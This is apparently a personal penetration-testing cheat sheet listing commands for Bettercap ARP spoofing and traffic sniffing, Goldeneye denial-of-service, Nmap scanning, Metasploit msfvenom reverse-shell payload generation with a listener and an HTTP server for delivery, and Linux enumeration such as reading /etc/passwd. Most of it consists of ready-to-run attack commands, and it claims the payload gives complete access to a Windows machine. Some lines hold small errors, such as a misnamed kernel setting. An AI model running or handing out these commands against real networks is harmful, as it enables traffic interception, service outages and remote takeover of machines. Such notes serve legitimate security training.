Cheat Sheet

Bettercap

Spoofing, sniffing...

```
net.probe on
Net.recon on


echo 1 > /proc/sys/net/ipv4/ip_forward
echo 0 > /proc/sys/net/ipv4/conf/all/send_redirection

bettercap -eval "set arp.spoof.targets 192.168.0.108 192.168.0.1; set
arp.spoof.fullduplex true; set arp.spoof.interval 10; arp.spoof on;
net.sniff on"
```

Only works for http, not https.

Goldeneye

DoS attacks.

```
goldeneye <target> # tagrgets web servers like http://127.0.0.1:8080
```

Nmap

```
nmap -T 5 <ip_addr> -p 80
```

-T: scanning speed. 0 very slow, 5 very fast...
-p: specific port only, separate with ","
-v: verbose
-d: raise debug level
-iL: supply text file with ip addresses
-oN: add to output file
-sP: check if alive

-F: top 100 ports
--top-ports: top n ports
--script vuln*: scans for all vulns with scripts

```
nmap -sV -p- 10.10.10.10
```

`-p-` scans all ports
`-sV` attempts to detect service version

```
nmap -A -p- 10.10.10.10
```

`-A` aggressive scan that includes os detection, version detection, script scanning, and traceroute on all ports.

Metasploit

```
msfconsole
```

```
msfvenom -p <payload> LHOST=<your_ip> LPORT=<your_port> -f <format> -o
<filename>
```

`msfvenom` tool used to generate payloads.

-p used to specify type of payload. (ie reverse shell)
-f format of the file (exe, elf, raw)

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<myip> LPORT=4444 -f exe
-o payload.exe
```

generates the payload.

```
use multi/handler # inside metasploit console
set payload windows/meterpreter/reverse_tcp
show options
```

with no antivirus for windows.

create tmp website

```
python -m http.server 8080
```

You have to get the payload and run it on windows. Now you have complete access to the windows machine.

Enumeration

```
hostname
uname -a
ps aux
sudo -l
cat /etc/passwd | cut -d ":" -f 1
```
